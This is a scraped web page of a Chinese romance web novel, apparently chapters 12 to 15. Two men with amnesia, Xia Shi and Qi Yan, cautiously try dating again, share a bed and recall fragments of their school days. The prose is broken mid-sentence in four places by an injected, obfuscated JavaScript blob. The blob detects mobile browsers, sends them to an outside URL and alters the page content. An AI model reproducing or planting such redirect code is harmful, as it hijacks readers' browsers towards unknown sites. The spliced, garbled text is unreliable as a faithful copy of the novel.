不管是做梦,还是这次回忆,一张脸都没看清,而谈话的内容在睁眼后勉强能记得住,但音色就像漏斗一样,在脑子里过一遍就漏个干净,根本抓不住。 要是能记下嗓音,还能判断一下是不是如今认识的人说的话。 也不知道是不是现在除了爸妈他就只重新认识了祁言,夏时总忍不住把马赛克同学往祁言身上代。 然后再此发现……还真挺合适。 祁言怎么可能是混蛋玩意儿,夏时态度立刻三百六十度大转变,完全忘了回忆里最初自己貌似在跟人抬杠的情绪,还有理有据分析,你看,他最后几句话的内容就是向着我的,不仅替他解围,还说最了解他。 明明还不确定对方到底是不是祁言,夏时已经给人打上了“好人”的标签,并为自己把他跟何小鸣放在一起而感到抱歉。 何小鸣什么货色,他也配? 夏时双标得非常彻底。 他过了不适的劲儿,重新在笔记本上写关键词,写下“游乐园”,又在后面跟上了记忆里的过山车、蹦极,以及网友的有效词汇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519513|186262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——牵手。 夏时好像在最后一笔的时候才意识到自己写的是什么,笔尖力道一重,差点在纸上划拉出去。 牵、咳,牵手,可他跟祁言还不是情侣,牵手不太合适吧,但是试着谈恋爱不就是看对彼此有没有感觉吗,牵手也是实验的一环…… 不不,也不对吧,按照这个说法,那接吻不也该是?! 冷静! 夏时脸一热,告诉自己不要想太多,八字还没一撇呢自己是不是跳跃得太快了,虽然他们以前可能什么都做过了,但以前是以前,现在是现在。 就……等相处一段时间,要是有好感而且氛围不错,最多先试试能不能牵手,嗯,夏时拿本子挡住半张脸,只露出一双桃花眼,眼神闪烁无处安放。 世间网友亿万,总有那么个有缘人会跟你在相同的时间浏览相同的内容,比如说某位祁姓网友,就刚好和夏时看到了同样的东西。 没错,祁言也在自己书房开着电脑,从零开始学怎么谈恋爱。 他鼻梁上架了个金丝眼镜,没度数,就是挡挡光,细长精致的镜腿搭在他耳边,把面部轮廓的凌厉藏起一点儿,显得非常斯文败类,人模狗样,像是随时能勾走少年初心的高手。 然而高手本人只有一段被遗忘的感情史,正在尝试重新链接。 “牵手啊……” 祁言想到了夏时洁白修长的手指,和令人爱不释手的温度,至今为止他们只是握手的时候短暂碰一碰,如果能牵着走一段路都不松开…… 网友的提议真的很让人心动。 不过太唐突了也不合适,得一步步来,牵手得看时机,至于游乐园,夏时喜欢游乐园吗? 祁言对游乐园没什么特别兴趣,别人要是想去他也可以陪,他也什么都敢玩,包括过山车和蹦极等,他不喜欢也不讨厌,上次去还是高中,他好像为了照顾同学,陪着坐了三趟过山车。 哪位、或者说哪几位同学这么虎的,三趟还玩不腻,也是个狠人。 里面不会有夏时吧? 要是里面真有夏时……那就狠得很有水平,狠得很有格调,狠得非常有魅力。 祁言丝毫不觉得自己双标。 夏时对他来说是特殊的,不是他在失忆后催眠自己,而是真心这么认为,并且越是相处,越验证了这句话的正确性。 如果他们从前一起去过游乐园,肯定玩得很愉快吧,祁言把游乐园纳入了备选行列,去老地方找回一下记忆也不错。 夏时要是爱玩过山车,他陪着玩几趟都行,还有别的项目…… 祁言一顿,忽然发现了一个盲点。 他的记忆里,没有坐过摩天轮的画面。 一次也没有。 摩天轮的爱情故事虽然是编的,但两个小情侣去了游乐园,可能还是多次同行,会真的一次摩天轮也不坐吗? 以祁言自己的风格,秉持着来都来了的心态,哪怕不信,也会去尝尝咸淡,玩点浪漫。 那为什么他跟夏时没有去过呢? 祁言眼前的镜片上映着屏幕上的微光,稍微一晃,就显得捉摸不定,像是某种肉眼看不清,但确实存在的信号,无声无息铺在薄薄的玻璃片上。 祁言从鼠标上松开手,他垂眸看了看骨节分明的手指,现在能顺着手想起的,不是夏时主动朝自己伸手,就是在惊惧的夜里自己揉过夏时指尖的模样。 ……可能根本没什么问题,是自己爱多想的毛病又犯了吧。 夏时很好,父母也非常认可他们曾经的感情,能有什么大问题? 祁言反省,祁言释然,很快把疑惑按下,视而不见,继续畅游在爱情知识的海洋。 正式约会正朝他招手呢,他可得交一个让自己和夏时都满意的答卷。 13.第十三章 夏时和祁言在各自书房泡了一下午,晚饭的时候,祁言没有再叫外卖,而是踏入厨房,选择自己做饭。 夏时怕自己再帮倒忙,不敢再随意出入厨房重地,但无所事事也难熬,他试探着问:“不然我们请个人上门做饭?你也不用这么累。” “不用,做饭对我来说算是放松大脑的一种方式。” 祁言看着夏时巴巴的眼神不由失笑,他先切了一盘水果,往夏时那边一推:“麻烦你打点果汁?” 夏时巴不得有事干,立刻端着果盘去了吧台。 当机子嗡嗡响起,把水果搅成泥,夏时盯着颜色鲜艳的果汁,又看了看盘里还剩下的一点水果,意识到某个问题:已知他是个菜刀水果刀都很手生的人,那么平时倒进榨汁机里的水果是谁切的? 也是……祁言吗? 夏时捂脸,身为同居室友,自己也太不称职了! 不过既然如此,咖啡区和甜水区干嘛要隔这么远?他俩的杯子也是。 夏时往厨房那边看了眼,手搭在杯柄上轻轻敲了敲,像是在思考。 他们家厨房是开放式的,很宽敞,没了夏时“帮忙”,祁言单手虽然慢,但有条不紊,非常顺利,他做了锅焖菜,调好味,盖上盖子,等最后再焖几分钟就收汁,刚直起身,鼻尖就嗅到股果香。 祁言讶异抬眼,就见夏时举着小叉子,叉着块水果递到他面前,停在一个不远不近的距离。 “做完果汁还有多的,我刚尝了块,挺甜,你要不要尝尝?”夏时怕祁言误会,特意解释,“叉子是没用过的,放心,肯定干净。” 祁言垂眸看着近在咫尺的芒果,黄澄澄,甜香扑鼻,老实说,刚才那瞬间他根本没想过叉子是不是新的,就算夏时拿自己用过的叉子来,祁言也不会问。 不问就是不介意。 原来在他自己都不知道的时候,他竟然能对夏时接受到这种程度,连共用餐具都不在意吗? 这可真是…… 夏时看祁言没动,刚想问问要不要换一种水果,祁言就一低头,张口凑近了。 小叉子的柄不长,祁言凑近的时候,他的呼吸和温度也跟着罩过来,明明还隔着段距离,夏时却觉得指尖蓦地发烫,让他莫名有点紧张局促。 祁言的脸跟他的手离得太近了,张口咬下的时候,叉子一重,夏时看着他英俊锋利的眉眼,心口也跟着一蹦。 祁言咬走了水果,软糯的果肉在口腔中散出甘甜,汁水丰盈,夏时手里一轻,赶紧收回手,眼神不知道该往哪儿放,只得低头盯住果盘:“怎么样?” 祁言咬着果肉,目光却顺着银色的叉子爬到夏时手指上,指甲圆润,粉得很健康,指尖像雪,也不知道是不是这样的手指给水果加了糖霜,吃起来味道格外与众不同。 祁言感受着舌尖上的滋味,笑了:“嗯,果然很甜。” 夏时闻言立刻道:“再来一块?” “好,”祁言,“你也吃。” 两人你一块我一块分完了剩下的水果,夏时从不知道吃个水果还能吃得人神思不属,这难不成就是,所谓的暧昧气氛? 当你意识到面前的人不是单纯室友而是未来可能跟你在一起的人后,看似普普通通的日常生活,好像确实有了隐秘的不同。 夏时把果盘放下,忍不住偷瞄了祁言两眼,祁言正在关火开盖,热腾腾的水汽扑出来,隔着白雾,夏时看不清他的脸,却觉得身姿动作跟马赛克同学更像了。 在祁言抬头前,夏时飞快挪开了视线。 再看下去,要是之后把记忆里所有跟他亲近的同龄男性都套上祁言的脸就不妙了,不利于记忆恢复。 祁言盛好了菜,夏时主动端去客厅,等祁言洗了手从厨房出来,目光不经意间略过水吧台面时,不由停住。 只见原本摆设的格局已经变了样,各类机器整整齐齐摆成了一排,咖啡壶的末尾就是榨汁机,不再隔得十万八千里,以及原本互相对峙的猫杯和狗杯也搁在了一处。 两个杯子颜色不同,画风不同,但放在一块儿却莫名和谐,好像本就是一对儿。 比先前吧台分区互不侵犯的格局看着顺眼多了。 祁言不动声色收回视线,没出声,但两个杯子挨在一块的画面让他心情不错,感觉饭都能多吃一碗。 要说夏时和祁言没有他们正在尝试谈恋爱的自觉吧,偏偏这两人还会查资料研究怎么约会;可要说他们有自觉吧,吃完饭后他们甚至不匀出点时间闲聊,转头就又直奔书房。 有点自觉,但不多。 需要暧昧的对象就在眼前,他们却不约而同放下实践机会,选择先备战书面知识。 这要是换个人来,没准就觉得自己被对方冷落了,但好在他俩思维同步,愣是没觉得不对。 什么锅配什么盖,绝了。 夏时在书房啃了俩小时,啃到夜幕降临,又回卧室摸出手机勤勤恳恳继续,头悬梁锥刺股,放下手机的时候感觉自己收获颇丰,仅仅一天,就已经从恋爱小白晋升成了哲学大师。 夏时心满意足,原来谈恋爱还有太多需要注意的细节,幸亏他提前看了,不至于打毫无准备的仗。 当然,就跟做论文一样,网上的资料不能全信,很多东西需要严谨比对、验证,夏时也不是看一个信一个。 查资料的过程里他还有个最大的感受,那就是很多人把爱情形容得特别夸张。 一些大而空的概念,夏时不好评判,比如离了爱人就感觉活不下去、生生世世都恨不能绑在一块儿之类的,人的经历不同性格不同,观念不同很正常,尊重; 但某些能落到实处的东西,那夸张的描述夏时就不信了。 比如牵个手,在某些人口中,能宛如电流从指尖窜上脊背,在脑子里炸开一片烟花; 拥抱不是拥抱,是酥酥麻麻的心跳,是全世界的欢闹;接吻就更不得了,腰软腿软是基本,地球上的形容词差点不够他们发挥,只恨不能朝外星借词汇。 看得夏时眼皮直跳。 不是,牵个手还能过电,当交流电传感器吗?拥抱还能酥酥麻麻,我还松松脆脆小饼干呢!以及接吻…… 虽然他失忆后没接过吻,但亲一下就腰软,缺钙还是缺维D? 太不科学了。 所以夏时半点不信。 他只留下有用的信息,电脑和手机里都已经建好文档,夏时猫似的伸了伸懒腰,时间差不多,可以准备睡觉了。 其实洗完澡才十点,对当代小年轻来说还早得很,但夏时准备早点睡。 算上医院的时间和昨晚,这还是他失忆之后,第一次独自一人睡觉。 睁眼后的夜晚,都有祁言陪着他,或同房,或同床,反正都能听闻彼此呼吸。 知道了自己是有恐惧症,还不确定晚上能不能好好睡觉,所以早点上床试试。 夏时拿出了被没失忆的他一直藏在柜子底下的狗子小夜灯。 别看灯已经旧了,但内件完好无损,还能用,一通电,奶白的灯光由内而外柔和溢出,不刺眼,恰到好处。 通电后奶狗显得更可爱了,夏时戳了戳它的耳朵,放在床头柜,然后熄掉其他的灯,躺平。 一秒,两秒……一分钟,两分钟。 半个小时后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16525171|186262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,夏时“唰”地睁开眼,清醒无比。 好消息,他没有再产生惊恐。 坏消息,睡不着,根本睡不着。 夏时自诩是个睡眠质量不错的人,沾了枕头用不了几分钟就能睡熟,但现在半个小时了还睡不着,已经算得上失眠。 小夜灯的光很暖,但他还是觉得哪里不踏实,心口空落落的少了一块,并不强烈,但足够在夜里勾起一点焦躁,神经松不下来,觉就没法睡。 夏时已经尝试过了包括但不限于助眠呼吸法、冥想、数星星等,不但一个都没起效,反而让脑子更精神了。 不是吧,夏时有点绝望,光靠小夜灯不行? 明明都没发病,为什么还会睡不着呢? 夏时辗转反侧,拿过手机一看,22:36。 他放下手机闭眼,左翻翻、右滚滚,来回多次,感觉过了有一个世纪那么漫长后,又拿起手机。 【22:45】 夜晚会模糊时间的界限,他感觉又长又难熬,但实际上时间只过去了一点,想睡又睡不着的时候会把焦虑感进一步放大。 夏时盯着手机,神情来回变化好几次后,他沉默着,解开了锁屏,打开了聊天软件,在界面上又停留好半天,无声地纠结完后,才终于点击了那个狗……不是,那个狼盯小花的头像。 他发出了一条消息。 * 祁言又在翻看照片,虽然他提醒自己不该多想,但他真的控不住脑子总是在不经意间又发现端倪。 他有一台只存着夏时照片的相机,从某些正面拍摄角度判断,肯定不是偷拍,拍得光明正大,夏时也知道。 相机可能是他给夏时的独属浪漫,小情侣总该有合照吧。 但他的朋友圈、云相册,自己跟夏时同框的照片并不多。 自己还专门建了个同框的相册,里面有些看起来是第三人帮忙拍的,有些明显是他俩自拍,但凡自拍,他俩的姿势都很相似,不远也不算近,两颗脑袋凑在镜框里就完事。 他们的表情、姿势和亲密程度,跟那张“烛光晚餐”完全是一个风味。 看不出甜蜜亲近,也不能算生疏,处在中间,不上不下,关系的解释权归拍照者所有。 没有一张真正紧紧靠在一起的,或是十指相扣的。 夏时虽然容易害羞,可胆大的时候能出乎祁言预料,祁言更不会是连个牵手照都不敢拍的,所以……这又该怎么解释呢? 又假装没发现问题? 祁言叹了口气,头回觉得自己性格也有点难办。 这时候,手机一震。 【您有一条新消息】 【小宝贝:嗨,睡了吗?#猫猫睁眼jpg#】 表情包里的猫睁着水汪汪大眼睛,巴巴注视着屏幕外的人。 祁言立刻秒回:“还没。” 他手快,发完消息后,又盯着“小宝贝”三个字看了看。 这个昵称冲击性依然很大,他还没习惯,但当这三个字跟夏时放在一起……也没那么难接受。 祁言的注意力立刻就从照片上被拉开了,夏时这时候给自己发消息是有什么事吗,想聊天?想分享? 没事,什么话题他都有自信接得住。 正想着,他的门就被敲响了。 跟昨晚的疾风骤雨惊慌失措不同,今晚的敲门声很有礼貌,笃笃笃三下,不轻不重。 祁言开门,就看到夏时满眼的踟蹰和“不好意思又要麻烦你”的抱歉。 手机里的“小宝贝”正站在他门口,抱着枕头:“不好意思,我还是睡不着……能再跟你一起睡吗?” 14.第十四章 能再跟你一起睡吗? 先前说过,他们已经不是纯洁的男男关系,而是摸索在暧昧路上的不纯洁关系,同睡这种事等于邀请,还是大胆又跳跃的邀请,这种一下就过线的行为必须—— 必须没有任何问题。 祁言侧身就让人进屋:“当然可以。” 不就是挨得近了点睡得近了点吗,一墙之隔是隔,隔条缝也是隔,何况他的床很大缝很宽,盖棉被纯聊天,哪有问题? 非常健康。 夏时松了口气,抱着枕头趿着拖鞋哒哒进来了。 半天前他才信誓旦旦肯定不再麻烦祁言,转头就打了脸,虽然这是暗地里下的决心,旁人不知道,但夏时的心气还是让他自己面上有点挂不住。 好在祁言态度自然,二话不说就让他进了屋。 夏时走到昨晚自己睡的那一侧,放下枕头,祁言开口:“不然你就先把枕头放这儿,等你什么时候好了,什么时候再拿回去。” “当然,我也不介意一直分一半给你。”祁言表示自己绝对没有赶人的意思,给足了夏时空间。 不过“一直”两个字出来,夏时按着枕头的手却是一顿。 他原本简简单单来找个睡眠搭子,此刻才终于后知后觉意识到,他跟祁言是尝试谈恋爱的关系啊! 而他就这么邀请、不对,是主动凑上来要跟别人一起睡觉! 夏时瞬间傻了,头脑风暴,龙卷风摧毁停车场。 他都干了什么啊!!! 但来都来了,还是他自己来的,他不可能又抱着枕头回去吧,那跟抽风有什么两样? 祁言就发现夏时莫名停下了动作,身体还僵住了,他立刻反思自己刚才那句话有没有过头,思索了下,虽然有点调情嫌疑,但在夏时来找自己的前提下也还行? 那夏时这是…… 夏时没抬头,含含糊糊嗯了声,说着“谢谢”,规规矩矩躺下,然后被子一蒙,两眼不闻被外事,一心只想捂被窝。 祁言看着他一连串流利的动作,眉梢一挑,他故意的时候,夏时坦坦荡荡,反而是不经意的话,更容易撩得夏时手足无措。 嗯,好像摸到一点点规律了。 比起埋头在电脑资料里,这种时候,祁言才更加清晰地体会到,为什么说恋爱也是学习和探索的过程。 还是个令人身心愉悦的过程。 虽然祁言很想看看夏时现在的表情,但还是给小同学留点面子吧。 夏时在被子里冷静了半天,发现另一半床没有动静,又忍不住扒拉被子探出头,看看祁言在做什么。 祁言从柜子底下一排夜灯盒子里挑了个拿出来。 他一试,发现还能亮。 而夏时看清他手里夜灯模样的瞬间,脱口而出:“你也有小狗夜灯?” 祁言手上的灯跟他房间里那个一模一样! 祁言敏锐捕捉到关键字:“也?” “嗯,”夏时点头,“一样的,颜色都一样。” 所以他的夜灯真的是祁言送的,而且祁言还有一个完全相同的。 失忆前的自己把夜灯好好收藏的理由就说得通了,那盏小夜灯果真意义非凡,没准在被遗忘的无数个夜里,也是夜灯的光亮陪着自己挨过去的。 但祁言怎么也有一个? 夏时合理推测:“难道你可能也怕过黑,只是你忘了?” “不知道,但我现在对特别黑的地方也没感觉。” 祁言说着,其实有别的猜测。 他最初看到一排的小夜灯,只有疑惑不解,昨晚发现夏时怕黑后,又以为自己准备了灯但是没能送出去,今天才知道,他应该送了一盏。 那么剩下的这些灯…… 祁言把点亮的夜灯搁在床头,这些灯可能也是为夏时准备的,为的就是眼前这种情况。 当夏时来找自己的时候,随时都能有一盏灯为他点亮。 夏时的眼睛不由自主随着灯动,顺着路线,也看到了房间里其余布置。 昨晚他来得匆忙,没注意过祁言的房间,今天才终于有余地好好打量,他看到祁言收起一个相机,是个老款了:“你喜欢摄影?” 祁言:“也没有。” 夏时:“这样。” 他依稀觉得自己对这款相机有点印象,但费了点劲又实在没想起在哪儿见过,只能归结为可能在哪儿无意中扫了一眼,见过同型号的机子。 祁言如今没再把照相机压箱底,而是放在容易拿到的地方,他关上柜门,方才对照片的揣测还没完全散开,不知道为什么,他居然直接开口问:“你看过自己朋友圈,或者云相册里的照片了吗?” 夏时:“看过了,你想看吗?我去拿手机。” 夏时手机还放在自己卧室,他坐起来就要下床,祁言赶紧按住他肩膀:“不用,睡你的。” 他装作若无其事随口道,“里边有什么我们俩有趣的照片吗?” 夏时根本不用思索,因为在翻遍相册后他产生了跟祁言同样的疑惑:怎么连一张特别亲近的照片都没有? 他俩之间始终保持着微妙的距离,每个景点就一张同框照,剩下的基本都是风景和单人自拍,显得同框照仿佛打卡任务。 夏时也察觉了隐隐的违和,但他跟祁言一样,不愿多想。 因为爸妈没必要骗他,而祁言人也不错啊。 “没有。” 夏时的否定刚让祁言心里一沉,但还没来得及沉到谷底,又被夏时一句话捞了起来。 “我们是不是不太爱一起拍照?”夏时说,“情侣之间相处模式各有不同,我们俩可能是单纯没在乎过合照的事。” 他们失忆了,谁都不知道自己恋爱会是个什么样,那就一切皆有可能啊。 祁言向来习惯把事情想复杂,虽然告诉自己要改改毛病,但一个人的时候真忍不住越想越偏,简单的答案明明就在那里,却还是带着疑虑不愿正视。 刚刚夏时敲开他房门之前,祁言已经满脑子都是“照片疑点事件”了,但此时垂头对上夏时干净的眼,听着他简简单单一句话,脑子里乱七八糟的念头骤然一扫而空。 夏时的眼睛总能让他的话变得格外让人信服。 人嘛,该复杂的时候复杂,该简单的时候也该坦然接受,轻轻松松有什么不好。 而且他现在跟夏时相处得很愉快,以后真有什么实质性问题,那就到时候再说。 祁言勾勾嘴角:“嗯,你说得对,确实有可能。” 祁言也掀起被子上了床,床铺另一边凹陷,夏时偏头:“我觉得我们也可以多拍点照片,反正都是尝试。” 而且祁言不光肉眼看着好,还非常上镜,帅哥拍照,多多益善。 嗯,当然,夏时补充,我也一样上镜。 “行啊。”祁言道,“你现在睡吗?” 夏时嗯了声,祁言就熄了房间里别的灯:“晚安。” 在黯淡下来的房间里,所有声音好像都放轻了,夏时看着温和一团的小夜灯,轻声道:“晚安。” 不知道是房间里气氛太和睦,还是祁言的存在格外让人安心,夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528531|186262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时迷迷瞪瞪突然冒出个想法,要是把灯全熄了,只有祁言陪在自己身边,会不会也有效? 但一口吃不成胖子,靠紧挨着人和灯光入睡有点像脱敏治疗,那就慢慢来,而且目前来看尽快适应只有灯光没有祁言更重要,因为不好一直给祁言添麻烦…… 夏时眼睛都闭上了,突然又噌地睁开。 “祁言。” “嗯?” “晚上有光你能睡得好吗?” 昨天兵荒马乱,他脑子也乱,居然忘了这么重要的问题! 今天白天祁言精神状态看着还不错,但以祁言宽容的性子,一个晚上睡不好他很可能不会说,可不能因为自己影响祁言的睡眠啊。 “这点光没问题。”祁言发现小同学操心得也不少,“睡吧。” 夏时松了口气:“好的。” 不影响就好,他放心了。 夏时在自己房间里折腾半天没能入睡,换了个地方,不出几分钟,就恢复了寻常睡眠质量,不需要特意数羊数星星,呼吸平稳,很快睡着了。 祁言平躺着,过了会儿,也睡了过去。 祁言很少会做梦,无论是失忆前还是失忆后,不过今晚,他难得做了个梦。 梦里的他正摆弄着相机,调整着参数,相机壳子冷冰冰的没温度,他手指也冷,所在地是高中学校的一个礼堂。 祁言对这里有印象,学校礼堂之一,不大不小,座位是阶梯式座位,高低依次排列,礼堂两边拉着红色横幅,显然要举办什么活动。 他举起镜头对着空荡荡的礼台调试,他来得很早,礼堂里没几个人,镜头里除了时不时上台摆水、调整话筒的工作人员外,也没别的人影。 祁言觉得满意了,刚放下相机,前排比他低一排的座位上,忽然冒出个脑袋。 嗯……看不清脸的那种。 这位看不清脸的同学穿着跟他一样的校服,应该在笑,因为他的声音在笑:“待会儿把我拍好看点。” 祁言还没接话,他又带着点小骄傲道:“虽然我怎么拍都肯定好看。” “嚯,”祁言听到自己的声音,“可惜了,相机拍不出您脸皮的厚度。” “去你的。”那同学单手往椅背上一搭,语调自信张扬,“摸着你良心说,难道我不好看?” 祁言发现自己在这个梦里很清醒,时而第一视角,时而第三视角,能清楚明白自己在做梦,而这可能是过去发生的事。 跟他说话的少年,音色也有点模糊,语气随意,明显跟他很熟,虽然听着张扬又高调,但就是让人讨厌不起来,祁言甚至隐隐察觉,自己很乐意跟对面的人说话。 因为那股喜悦的劲儿,已经快顺着梦境传到他心口了。 “摸着良心说是吧——”祁言故意拉长了声音。 那人隐带威胁:“嗯?” 祁言一耸肩:“好吧,你也就这张脸最无可挑剔了。” 那人哼哼两声:“我哪里都无可挑剔,是你看不见。” “相机调好了?拍一张试试呗。”他说。 祁言于是举起了相机,佚名同学趴在椅背上,抬手,比了个简单的“耶”。 “咔擦”一声,相机拍出了它的第一张照片。 佚名同学立刻往上凑:“我看看我看看。” 祁言低头,只见相机屏幕上居然没有蒙着任何雾霾或者马赛克,一张清晰无比的脸跃然其上,照片里的人璨如烈阳。 啊,祁言看清他长相的瞬间没有惊讶,只有“果然如此”。 是你啊,夏时。 15.第十五章 日上三竿,阳光透过窗帘缝隙探进屋,一点儿光就能照得很亮,夏时迷迷糊糊睁眼,他在枕头上蹭了蹭,转过身,往旁边一看,空的,床上就剩他一个。 夏时一下弹起身,坐直了。 他像是难以置信般反复确认,不仅床铺空了,浴室大门打开,也没丁点动静,说明祁言已经不在卧室。 夏时呆坐在原地,非常震惊。 他这都没醒? 虽然他睡眠质量好,但也不至于睡得这么死,按理说身边人有起床乃至关门的动静,再怎么他都该醒了,现在却是半点没察觉。 夏时的头发软趴趴晃了晃,不可思议,祁言难不成是安眠药成精? 夏时怔坐了半晌才回神,长呼一口气,不管怎么说,他能睡得这么好当然得归功于祁言,下床时他下意识要拿过枕头,等手一碰到,才想起他用不着每天早上把枕头拿回房间了。 毕竟夜里还得再拿回来。 他和祁言约定好了,暂时睡一块儿啊。 夏时昨晚还会因为他们刚决定试着谈恋爱,自己就主动跑人家床上这事儿捂脸,一夜过去,睡饱了后精神足,他半点不内耗,心态非常乐观: 他们只是规规矩矩躺一张床上,为的是治病,出发点十分健康,那就没有任何需要害羞的点。 睡都睡了,一次两次没区别,没必要扭捏。 夏时放下枕头,回自己房间洗漱,他摸过手机一看才知道居然已经九点了。 一个人住的时候睡懒觉没事儿,两个人住,尤其还住同一个屋,在关系还没特别亲密、双方都极力展现最好形象的阶段,还是有点儿不好意思。 夏时把自己收拾好,出了卧室,发现一楼也没有祁言的影子,客厅的桌上摆好了早饭,揭开保温盖子就能吃,二楼一房间门紧闭,夏时已经知道那是祁言的书房。 也不知道祁言几点起的,已经在书房泡了多久,一大清早就这么努力,好卷啊。 夏时咬了口卷饼,清脆的黄瓜和多汁的牛肉瞬间满足了味蕾,一下就打开了胃口,坐在舒舒服服的家里,吃着这样的美食,每一口都是幸福感。 这才是家的感觉。 啊,夏时又补上了一点记忆里的漏洞。 在他记忆里,从前自己是一个人住,但不叫外卖又没请人做饭,那桌面上热腾腾的饭菜哪儿来的呢? 可不就是祁言做的嘛。 祁言做饭是真好吃。 夏时吃着东西抬眼往二楼看,他泡书房是为了学习怎么恋爱,祁言又在书房里干什么呢。 吃完饭,夏时把碗碟往洗碗机一放,路过水吧台,看到他俩的杯子,略一思索,走上前去。 片刻后,夏时端着杯热气腾腾的咖啡,敲响了书房的门。 他虽然不会做饭,但弄一杯咖啡还是简简单单! 严格称量需要的咖啡豆,用机子烘了,打成粉,再加好定量的水,调好时间,有刻度和数值量化就是方便,当做一次萃取实验不就行了。 被厨房重地磋磨的夏时终于找回了自信。 书房里传出祁言的声音:“请进。” 门一开,咖啡的香味就跟着扑进来,祁言愣了愣,夏时看到祁言的模样时也愣了一下。 祁言坐在电脑前,戴着那副金丝框眼镜。 五官之中,最容易让人先注意到的就是眼睛,因此眼镜是个特别的装饰,很容易就能改变一个人的气质,祁言一架上眼镜,从英俊逼人秒变斯文禁欲系,那眼神从镜片后探过来,看得夏时心口一跳。 ……长这么帅做什么,帅人一大跳。 夏时总不能一直杵在门口,他回神,赶紧把咖啡端进来,放下方糖:“我煮了点咖啡,放心,这个不难,肯定没毒。” 祁言笑着接过来:“我可什么都没说——谢谢。” 咖啡的香味醇香浓厚,杯子上的大狗竖着耳朵格外精神,祁言记得自己最开始本来想买个印着狼的杯子,跟自己头像维持物种一致,后来怎么改成狗杯了呢? 想不起来。 不过这个杯子跟夏时的猫杯格外搭配,自己改主意会不会也有这个原因? 他本来打算待会儿自己再下楼来杯咖啡的,没想到夏时给他送来了,哪怕只是日常中一点小事,只要能让人开心,就是惊喜。 看电视剧的时候总觉得里边一些角色一谈恋爱不清醒,写得要多夸张有多夸张,轮到自己,祁言总算也体验了把什么叫色令智昏。 就算这咖啡真有毒,祁言高低也得尝一尝。 夏时把方糖放下:“糖在这儿。” 祁言用夹子夹起块方糖放进杯子里,也只放了一块。 夏时看他放下夹子才出声:“我好像知道你的口味。” 祁言:“嗯?” 夏时方才把咖啡倒进杯子后,想着自己不知道祁言的口味,牛奶和糖还是一起带上楼,等祁言自己加,但那瞬间,他脑子里闪过一个念头。 【不加奶,一块糖,他一直是这个口味】 是我过去的记忆? 夏时不太确定。 他琢磨了下,谨慎起见,没有带上牛奶,就只拿了咖啡和方糖,看看祁言会怎么调。 而祁言真的只放了一块糖。 祁言听完,说:“好事,是不是记忆在恢复了?” “有可能,”夏时道,“我晚上做梦,有时候一些片段感觉也是记忆,不过断断续续,大部分也还很模糊,拿不准。” 祁言立刻想到了自己昨晚的梦,自从他看清相机屏幕上的夏时后,感觉梦里别的东西都稍微清晰了一点,但也只是一点儿。 跟完全拿回记忆还差得远。 祁言宽慰:“总归是个好兆头。” 夏时点头:“嗯,说的也是。” 他们闲聊着,而祁言终于端起咖啡,在夏时看似自信其实略带忐忑的目光里喝了第一口。 夏时一瞬不瞬盯着他:“味道怎么样?” 祁言惬意地弯了弯眉眼。 “好喝。” 得到肯定的评价,夏时松了口气,更有自信了:“我就说这个简单!” 祁言在咖啡香气里对夏时肯定一颔首。 虽然这杯咖啡明显萃取时间长了点、水温用得高了点、注水节奏乱了点,导致最后很苦,非常苦。 但喝的人是祁言。 夏时煮的咖啡在他这里爆灯通过,过关,非常过关。 祁言喝咖啡,是喜欢恰到好处的焦香醇苦,丝滑的咖啡液淌过后,留下那么点若有似无的甜供人回味的感觉。 但那一切在夏时亲手做的咖啡面前都不重要。 专门准备的心意得到肯定,付出的人也开心,夏时心里美滋滋,觉得这屋里咖啡香可真好闻,最在意的作品过了关,他目光再度落到祁言的眼镜上。 从进屋开始,夏时注意力就时不时被祁言的眼镜吸引了:“你有近视吗?” “嗯?没有。”祁言偏头,展示自己的眼镜,“这是平光镜,护眼用。” 夏时明白了,祁言鼻梁高挺眼窝深邃,架着眼镜实在好看,夏时欣赏之余,自己也跃跃欲试:“能给我戴戴吗?” “好啊。” 祁言说着就要放下杯子,毕竟他现在只有单手能动,得放了杯子才能腾出手取眼镜。 但杯子还没搁下,夏时的手指先落在了镜框上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 